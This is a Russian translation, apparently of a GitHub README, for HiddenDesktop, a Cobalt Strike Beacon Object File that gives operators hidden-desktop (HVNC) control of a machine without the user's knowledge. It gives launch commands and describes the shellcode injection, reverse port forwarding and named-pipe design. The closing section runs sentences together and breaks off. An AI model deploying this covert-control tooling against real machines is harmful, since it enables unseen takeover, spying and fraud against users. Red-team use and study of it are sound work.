
HVNC для Cobalt Strike
Hidden Desktop (часто называемый HVNC) — это инструмент, позволяющий операторам взаимодействовать с удаленным рабочим столом без ведома пользователя. Протокол VNC не задействован, но результат аналогичен. Данная реализация BOF для Cobalt Strike создана как альтернатива TinyNuke/форкам, написанным на C++.
Hidden Desktop состоит из четырех компонентов:
Инициализатор BOF: Небольшая программа, отвечающая за внедрение кода HVNC в процесс Beacon.
Шеллкод HVNC: PIC-реализация TinyNuke HVNC.
Сервер и пользовательский интерфейс оператора: Сервер, ожидающий соединения от шеллкода HVNC, и интерфейс, позволяющий оператору взаимодействовать с удаленным рабочим столом. В настоящее время поддерживается только Windows.
BOF-запускатели приложений: Набор Beacon Object Files, запускающих приложения на новом рабочем столе.
Загрузите последний релиз или скомпилируйте самостоятельно с помощью make. Запустите сервер HVNC на машине с Windows, доступной с teamserver. Затем выполните клиент с помощью:
HiddenDesktop <server> <port>
На серверной машине должно появиться новое пустое окно. По умолчанию BOF не запускает никаких приложений. Вы можете использовать BOF-запускатели приложений для выполнения стандартных программ на новом рабочем столе:
hd-launch-edge
hd-launch-explorer
hd-launch-run
hd-launch-cmd
hd-launch-chrome
Также можно запускать программы через Проводник с помощью мыши и клавиатуры. Другие приложения можно выполнить следующей командой:
hd-launch <команда> [аргументы]
https://github.com/WKL-Sec/HiddenDesktop/assets/9327972/82f73393-ba44-42b4-8eae-b36b7181fac0
rportfwd. Обновления статуса отправляются обратно в Beacon через именованный канал.InputHandler в шеллкоде HVNC. Для выполнения шеллкода используется BeaconInjectProcess, что означает, что поведение можно настроить в Malleable C2-профиле или с помощью BOF-файлов внедрения процессов. Вы можете изменить Hidden Desktop для нацеливания на удаленные процессы, но в настоящее время это не поддерживается. Это сделано для того, чтобы BOF мог завершиться, а шеллкод HVNC продолжал работу.InputHandler создает новый именованный канал для подключения Beacon. После установки соединения указанный рабочий стол открывается (OpenDesktopA) или создается (CreateDesktopA). Новый сокет устанавливается через обратный перенаправленный порт (rportfwd) к серверу HVNC. Обработчик ввода создает новый поток для функции DesktopHandler, описанной ниже. Этот поток будет получать ввод от мыши и клавиатуры от сервера HVNC и передавать его на рабочий стол.DesktopHandler устанавливает дополнительное сокетное соединение с сервером HVNC через обратный перенаправленный порт. Этот поток будет отслеживать изменения окон и передавать их на сервер HVNC.HiddenDesktop BOF был протестирован с использованием example.profile на следующих версиях/архитектурах Windows: